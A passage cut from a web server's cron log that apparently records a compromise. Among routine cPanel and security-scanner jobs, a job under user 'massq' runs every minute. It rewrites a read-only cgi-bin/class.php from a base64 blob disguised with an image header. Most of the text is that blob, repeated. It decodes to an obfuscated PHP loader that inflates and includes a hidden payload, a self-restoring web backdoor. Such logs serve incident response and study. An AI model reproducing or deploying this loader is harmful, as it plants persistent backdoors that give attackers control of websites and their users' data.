QBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:29:01 server CROND[11143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:29:01 server CROND[11144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:29:01 server CROND[11142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:30:01 server CROND[11538]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 04:30:01 server CROND[11542]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 04:30:01 server CROND[11541]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Aug 30 04:30:01 server CROND[11543]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 30 04:30:01 server CROND[11547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:30:01 server CROND[11548]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 04:30:01 server CROND[11544]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:30:01 server CROND[11551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:30:01 server CROND[11545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:30:01 server CROND[11546]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:31:01 server CROND[12411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:31:01 server CROND[12412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:31:01 server CROND[12413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:32:01 server CROND[12886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:32:01 server CROND[12885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:32:01 server CROND[12887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:33:01 server CROND[13275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:33:01 server CROND[13276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:33:01 server CROND[13277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:34:01 server CROND[13655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:34:01 server CROND[13656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:34:01 server CROND[13657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:35:01 server CROND[14065]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:35:01 server CROND[14067]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 04:35:01 server CROND[14070]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 04:35:01 server CROND[14073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:35:01 server CROND[14069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:35:01 server CROND[14071]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:35:01 server CROND[14074]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 04:35:01 server CROND[14078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:35:01 server CROND[14072]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 04:36:01 server CROND[15040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:36:01 server CROND[15041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:36:01 server CROND[15042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:37:01 server CROND[15531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:37:01 server CROND[15532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:37:01 server CROND[15533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:38:01 server CROND[15913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:38:01 server CROND[15914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:38:01 server CROND[15915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:39:01 server CROND[16301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:39:01 server CROND[16302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:39:01 server CROND[16300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:39:01 server CROND[16303]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 04:40:01 server CROND[16706]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:40:01 server CROND[16708]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 04:40:01 server CROND[16710]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 04:40:01 server CROND[16712]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:40:01 server CROND[16711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:40:01 server CROND[16714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0